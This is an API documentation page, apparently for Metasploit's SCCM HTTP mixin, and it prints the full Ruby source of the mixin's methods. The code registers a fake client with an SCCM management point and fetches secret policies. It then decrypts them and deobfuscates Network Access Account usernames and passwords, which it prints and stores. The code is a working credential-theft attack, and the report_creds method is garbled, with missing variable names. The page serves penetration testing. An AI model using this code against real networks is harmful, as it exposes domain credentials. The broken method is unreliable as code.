Module: Msf::Exploit::Remote::HTTP::SCCM

Includes:
Auxiliary::Report, Msf::Exploit::Remote::HttpClient, Msf::Exploit::Retry
Defined in:
lib/msf/core/exploit/remote/http/sccm.rb

Overview

This module provides a way of interacting with SCCM servers

Constant Summary collapse

KEY_SIZE = 
2048
SECRET_POLICY_FLAG = 
4

Instance Attribute Summary

Attributes included from Msf::Exploit::Remote::HttpClient

#client, #cookie_jar

Instance Method Summary collapse

Methods included from Msf::Exploit::Remote::HttpClient

#basic_auth, #cleanup, #configure_http_login_scanner, #connect, #connect_ws, #deregister_http_client_options, #disconnect, #download, #full_uri, #handler, #http_fingerprint, #initialize, #lookup_http_fingerprints, #normalize_uri, #path_from_uri, #peer, #proxies, #reconfig_redirect_opts!, #request_opts_from_url, #request_url, #rhost, #rport, #send_request_cgi, #send_request_cgi!, #send_request_raw, #service_details, #setup, #ssl, #ssl_version, #sslkeylogfile, #strip_tags, #target_uri, #validate_fingerprint, #vhost

Methods included from Auxiliary::LoginScanner

#configure_login_scanner

Methods included from Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Methods included from Msf::Exploit::Retry

#retry_until_truthy

Instance Method Details

#deobfuscate_policy_value(value) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 290

def deobfuscate_policy_value(value)
  value = [value.gsub(/[^0-9A-Fa-f]/, '')].pack('H*')
  data_length = value[52..55].unpack('I')[0]
  buffer = value[64..64 + data_length - 1]
  key = mscrypt_derive_key_sha1(value[4..43])
  iv = "\x00" * 8
  cipher = OpenSSL::Cipher.new('des-ede3-cbc')
  cipher.decrypt
  cipher.iv = iv
  cipher.key = key
  result = cipher.update(buffer) + cipher.final

  result.force_encoding('utf-16le').encode('utf-8')
end

#generate_key_and_cert(subject) ⇒ Object

Create a self-signed private key and certificate for our computer registration



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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 330

def generate_key_and_cert(subject)
  key = OpenSSL::PKey::RSA.new(KEY_SIZE)
  cert = OpenSSL::X509::Certificate.new
  cert.version = 2
  cert.serial = (rand(0xFFFFFFFF) << 32) + rand(0xFFFFFFFF)
  cert.public_key = key.public_key
  cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])
  cert.subject = OpenSSL::X509::Name.new([['CN', subject]])
  yr = 24 * 3600 * 365
  cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)
  cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))
  ef = OpenSSL::X509::ExtensionFactory.new
  ef.subject_certificate = cert
  ef.issuer_certificate = cert
  cert.extensions = [
    ef.create_extension('keyUsage', 'digitalSignature,dataEncipherment'),
    ef.create_extension('extendedKeyUsage', '1.3.6.1.4.1.311.101.2, 1.3.6.1.4.1.311.101'),
  ]
  cert.sign(key, OpenSSL::Digest.new('SHA256'))

  [key, cert]
end

#get_creds_from_policy_doc(policy) ⇒ Object

Extract obfuscated credentials from the resulting policy XML document



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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 269

def get_creds_from_policy_doc(policy)
  xml_doc = Nokogiri::XML(policy)
  naa_sections = xml_doc.xpath(".//instance[@class='CCM_NetworkAccessAccount']")
  results = []
  naa_sections.each do |section|
    username = section.xpath("property[@name='NetworkAccessUsername']/value").text
    username = deobfuscate_policy_value(username)
    username.delete_suffix!("\x00")

    password = section.xpath("property[@name='NetworkAccessPassword']/value").text
    password = deobfuscate_policy_value(password)
    password.delete_suffix!("\x00")

    unless username.blank? && password.blank?
      # Deleted credentials seem to result in just an empty value for username and password
      results.append([username, password])
    end
  end
  results
end

#get_naa_credentials(opts, management_point, site_code, computer_user) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 20

def get_naa_credentials(opts, management_point, site_code, computer_user)
  key, cert = generate_key_and_cert('ConfigMgr Client')

  http_opts = opts.merge({
    'rhost' => management_point,
    'rport' => 80,
    'headers' => {
      'User-Agent' => 'ConfigMgr Messaging HTTP Sender',
      'Accept-Encoding' => 'gzip, deflate',
      'Accept' => '*/*'
    }
  })

  sms_id, ip_address = register_request(http_opts, management_point, key, cert, computer_user)
  secret_urls = retry_until_truthy(timeout: 30) { get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id, computer_user) }
  all_results = Set.new
  secret_urls.each do |url|
    decrypted_policy = request_policy(http_opts, url, sms_id, key)
    results = get_creds_from_policy_doc(decrypted_policy)
    all_results.merge(results)
  end

  if all_results.empty?
    print_status('No NAA credentials configured')
  end

  all_results.each do |username, password|
    report_creds(ip_address, username, password)
    print_good("Found valid NAA credentials: #{username}:#{password}")
  end
rescue SocketError => e
  fail_with(Msf::Module::Failure::Unreachable, e.message)
end

#get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id, computer_user) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 54

def get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id, computer_user)
  fqdn = "#{computer_user}.#{datastore['DOMAIN']}"
  hex_pub_key = make_ms_pubkey(cert.public_key)
  guid = SecureRandom.uuid.upcase
  sent_time = Time.now.utc.iso8601
  sccm_host = management_point.downcase
  request_assignments = "<RequestAssignments SchemaVersion=\"1.00\" ACK=\"false\" RequestType=\"Always\"><Identification><Machine><ClientID>GUID:#{sms_id}</ClientID><FQDN>#{fqdn}</FQDN><NetBIOSName>#{computer_user}</NetBIOSName><SID /></Machine><User /></Identification><PolicySource>SMS:#{site_code}</PolicySource><Resource ResourceType=\"Machine\" /><ServerCookie /></RequestAssignments>\x00"
  request_assignments.encode!('utf-16le')
  body_length = request_assignments.bytes.length
  request_assignments = request_assignments.bytes.pack('C*') + "\r\n"
  compressed = Rex::Text.zlib_deflate(request_assignments)

  payload_signature = rsa_sign(key, compressed)

  client_id = "GUID:{#{sms_id.upcase}}\x00"
  client_ids_signature = rsa_sign(key, client_id.encode('utf-16le'))
  header = "<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"#{body_length}\" Offset=\"0\" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook2 Name=\"clientauth\"><Property Name=\"AuthSenderMachine\">#{computer_user}</Property><Property Name=\"PublicKey\">#{hex_pub_key}</Property><Property Name=\"ClientIDSignature\">#{client_ids_signature}</Property><Property Name=\"PayloadSignature\">#{payload_signature}</Property><Property Name=\"ClientCapabilities\">NonSSL</Property><Property Name=\"HashAlgorithm\">1.2.840.113549.1.1.11</Property></Hook2><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{#{guid}}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:#{computer_user}:SccmMessaging</ReplyTo><SentTime>#{sent_time}</SentTime><SourceID>GUID:#{sms_id}</SourceID><SourceHost>#{computer_user}</SourceHost><TargetAddress>mp:MP_PolicyManager</TargetAddress><TargetEndpoint>MP_PolicyManager</TargetEndpoint><TargetHost>#{sccm_host}</TargetHost><Timeout>60000</Timeout></Msg>"

  message = Rex::MIME::Message.new
  message.bound = 'aAbBcCdDv1234567890VxXyYzZ'

  message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil)
  message.add_part(compressed, 'application/octet-stream', 'binary')
  opts = http_opts.merge({
    'uri' => '/ccm_system/request',
    'method' => 'CCM_POST',
    'data' => message.to_s
  })
  opts['headers'] = opts['headers'].merge({
    'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"'
  })
  http_response = send_request_raw(opts)
  response = Rex::MIME::Message.new(http_response.to_s)

  return nil unless response.parts[1]&.content
  compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le')
  xml_doc = Nokogiri::XML(compressed_response.encode('utf-8'))
  policies = xml_doc.xpath('//Policy')
  secret_policies = policies.select do |policy|
    flags = policy.attributes['PolicyFlags']
    next if flags.nil?

    flags.value.to_i & SECRET_POLICY_FLAG == SECRET_POLICY_FLAG
  end

  urls = secret_policies.map do |policy|
    policy.xpath('PolicyLocation/text()').text
  end

  urls = urls.reject(&:blank?)

  urls.each do |url|
    print_status("Found policy containing secrets: #{url}")
  end

  urls
end

#make_ms_pubkey(pub_key) ⇒ Object

Make a pubkey structure (learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb)



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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 260

def make_ms_pubkey(pub_key)
  result = "\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31"
  result += [KEY_SIZE, pub_key.e].pack('II')
  result += [pub_key.n.to_s(16)].pack('H*')

  result.unpack('H*')[0]
end

#mscrypt_derive_key_sha1(secret) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 305

def mscrypt_derive_key_sha1(secret)
  buf1 = [0x36] * 64
  buf2 = [0x5C] * 64

  digest = OpenSSL::Digest.new('SHA1')
  hash = digest.digest(secret).bytes

  hash.each_with_index do |byte, i|
    buf1[i] ^= byte
    buf2[i] ^= byte
  end

  buf1 = buf1.pack('C*')
  buf2 = buf2.pack('C*')

  digest = OpenSSL::Digest.new('SHA1')
  hash1 = digest.digest(buf1)

  digest = OpenSSL::Digest.new('SHA1')
  hash2 = digest.digest(buf2)

  hash1 + hash2[0..3]
end

#register_request(http_opts, management_point, key, cert, computer_user) ⇒ Object

Make a request to the SCCM server to register our computer



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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 113

def register_request(http_opts, management_point, key, cert, computer_user)
  pub_key = cert.to_der.unpack('H*')[0].upcase

  fqdn = "#{computer_user}.#{datastore['DOMAIN']}"
  sent_time = Time.now.utc.iso8601
  registration_request_data = "<Data HashAlgorithm=\"1.2.840.113549.1.1.11\" SMSID=\"\" RequestType=\"Registration\" TimeStamp=\"#{sent_time}\"><AgentInformation AgentIdentity=\"CCMSetup.exe\" AgentVersion=\"5.00.8325.0000\" AgentType=\"0\" /><Certificates><Encryption Encoding=\"HexBinary\" KeyType=\"1\">#{pub_key}</Encryption><Signing Encoding=\"HexBinary\" KeyType=\"1\">#{pub_key}</Signing></Certificates><DiscoveryProperties><Property Name=\"Netbios Name\" Value=\"#{computer_user}\" /><Property Name=\"FQ Name\" Value=\"#{fqdn}\" /><Property Name=\"Locale ID\" Value=\"1033\" /><Property Name=\"InternetFlag\" Value=\"0\" /></DiscoveryProperties></Data>"

  signature = rsa_sign(key, registration_request_data.encode('utf-16le'))

  registration_request = "<ClientRegistrationRequest>#{registration_request_data}<Signature><SignatureValue>#{signature}</SignatureValue></Signature></ClientRegistrationRequest>\x00"

  rr_utf16 = ''
  rr_utf16 << registration_request.encode('utf-16le').bytes.pack('C*')
  body_length = rr_utf16.length
  rr_utf16 << "\r\n"

  header = "<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"#{body_length}\" Offset=\"0\" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{5DD100CD-DF1D-45F5-BA17-A327F43465F8}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:#{computer_user}:SccmMessaging</ReplyTo><SentTime>#{sent_time}</SentTime><SourceHost>#{computer_user}</SourceHost><TargetAddress>mp:MP_ClientRegistration</TargetAddress><TargetEndpoint>MP_ClientRegistration</TargetEndpoint><TargetHost>#{management_point.downcase}</TargetHost><Timeout>60000</Timeout></Msg>"

  message = Rex::MIME::Message.new
  message.bound = 'aAbBcCdDv1234567890VxXyYzZ'

  message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil)
  message.add_part(Rex::Text.zlib_deflate(rr_utf16), 'application/octet-stream', 'binary')

  opts = http_opts.merge({
    'uri' => '/ccm_system_windowsauth/request',
    'method' => 'CCM_POST',
    'data' => message.to_s
  })
  opts['headers'] = opts['headers'].merge({
    'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"'
  })
  http_response = send_request_raw(opts)
  if http_response.nil?
    fail_with(Msf::Module::Failure::Unreachable, 'No response from server')
  end
  ip_address = http_response.peerinfo['addr']
  response = Rex::MIME::Message.new(http_response.to_s)
  if response.parts.empty?
    html_doc = Nokogiri::HTML(http_response.to_s)
    error = html_doc.xpath('//title').text
    if error.blank?
      error = 'Bad response from server'
      dlog('Response from server:')
      dlog(http_response.to_s)
    end
    fail_with(Msf::Module::Failure::UnexpectedReply, error)
  end

  response.parts[0].content.force_encoding('utf-16le').encode('utf-8').delete_prefix("\uFEFF")
  compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le')
  xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) # It's crazy, but XML parsing doesn't work with UTF-16-encoded strings
  sms_id = xml_doc.root&.attributes&.[]('SMSID')&.value&.delete_prefix('GUID:')
  if sms_id.nil?
    approval = xml_doc.root&.attributes&.[]('ApprovalStatus')&.value
    if approval == '-1'
      fail_with(Msf::Module::Failure::UnexpectedReply, 'Client registration not approved by SCCM server')
    end
    fail_with(Msf::Module::Failure::UnexpectedReply, 'Did not retrieve SMS ID')
  end
  print_status("Got SMS ID: #{sms_id}")

  [sms_id, ip_address]
end

#report_creds(ip_address, user, password) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 353

def report_creds(ip_address, user, password)
  service_data = {
    address: ip_address,
    port: rport,
    protocol: 'tcp',
    service_name: 'sccm',
    workspace_id: myworkspace_id
  }

  domain,  = user.split("\\")
  credential_data = {
    origin_type: :service,
    module_fullname: fullname,
    username: ,
    private_data: password,
    private_type: :password,
    realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
    realm_value: domain
  }
  credential_core = create_credential(credential_data.merge(service_data))

   = {
    core: credential_core,
    status: Metasploit::Model::Login::Status::UNTRIED
  }

  (.merge(service_data))
end

#request_policy(http_opts, policy_url, sms_id, key) ⇒ Object

Request the policy from the policy_url



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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 179

def request_policy(http_opts, policy_url, sms_id, key)
  policy_url.gsub!(%r{^https?://<mp>}, '')
  policy_url = policy_url.gsub('{', '%7B').gsub('}', '%7D')

  now = Time.now.utc.iso8601
  client_token = "GUID:#{sms_id};#{now};2"
  client_signature = rsa_sign(key, (client_token + "\x00").encode('utf-16le').bytes.pack('C*'))

  opts = http_opts.merge({
    'uri' => policy_url,
    'method' => 'GET'
  })
  opts['headers'] = opts['headers'].merge({
    'ClientToken' => client_token,
    'ClientTokenSignature' => client_signature
  })

  http_response = send_request_raw(opts)
  http_response.gzip_decode!

  ci = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(http_response.body)
  cms_envelope = ci.enveloped_data

  ri = cms_envelope[:recipient_infos]
  if ri.value.empty?
    fail_with(Msf::Module::Failure::UnexpectedReply, 'No recipient infos provided')
  end

  if ri[0][:ktri].nil?
    fail_with(Msf::Module::Failure::UnexpectedReply, 'KeyTransRecipientInfo not found')
  end

  body = cms_envelope[:encrypted_content_info][:encrypted_content].value

  key_encryption_alg = ri[0][:ktri][:key_encryption_algorithm][:algorithm].value
  encrypted_rsa_key = ri[0][:ktri][:encrypted_key].value
  if key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSA_ENCRYPTION.value
    decrypted_key = key.private_decrypt(encrypted_rsa_key)
  elsif key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSAES_OAEP.value
    decrypted_key = key.private_decrypt(encrypted_rsa_key, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING)
  else
    fail_with(Msf::Module::Failure::UnexpectedReply, "Key encryption routine is currently unsupported: #{key_encryption_alg}")
  end

  cea = cms_envelope[:encrypted_content_info][:content_encryption_algorithm]
  algorithms = {
    Rex::Proto::CryptoAsn1::OIDs::OID_AES256_CBC.value => { iv_length: 16, key_length: 32, cipher_name: 'aes-256-cbc' },
    Rex::Proto::CryptoAsn1::OIDs::OID_DES_EDE3_CBC.value => { iv_length: 8, key_length: 24, cipher_name: 'des-ede3-cbc' }
  }
  if algorithms.include?(cea[:algorithm].value)
    alg_hash = algorithms[cea[:algorithm].value]
    if decrypted_key.length != alg_hash[:key_length]
      fail_with(Msf::Module::Failure::UnexpectedReply, "Bad key length: #{decrypted_key.length}")
    end
    iv = RASN1::Types::OctetString.new
    iv.parse!(cea[:parameters].value)
    if iv.value.length != alg_hash[:iv_length]
      fail_with(Msf::Module::Failure::UnexpectedReply, "Bad IV length: #{iv.length}")
    end
    cipher = OpenSSL::Cipher.new(alg_hash[:cipher_name])
    cipher.decrypt
    cipher.key = decrypted_key
    cipher.iv = iv.value

    decrypted = cipher.update(body) + cipher.final
  else
    fail_with(Msf::Module::Failure::UnexpectedReply, "Decryption routine is currently unsupported: #{cea[:algorithm].value}")
  end

  decrypted.force_encoding('utf-16le').encode('utf-8').delete_suffix("\x00")
end

#rsa_sign(key, data) ⇒ Object

Sign the data using the RSA key, and reverse it (strange, but it’s what’s required)



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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 252

def rsa_sign(key, data)
  signature = key.sign(OpenSSL::Digest.new('SHA256'), data)
  signature.reverse!

  signature.unpack('H*')[0].upcase
end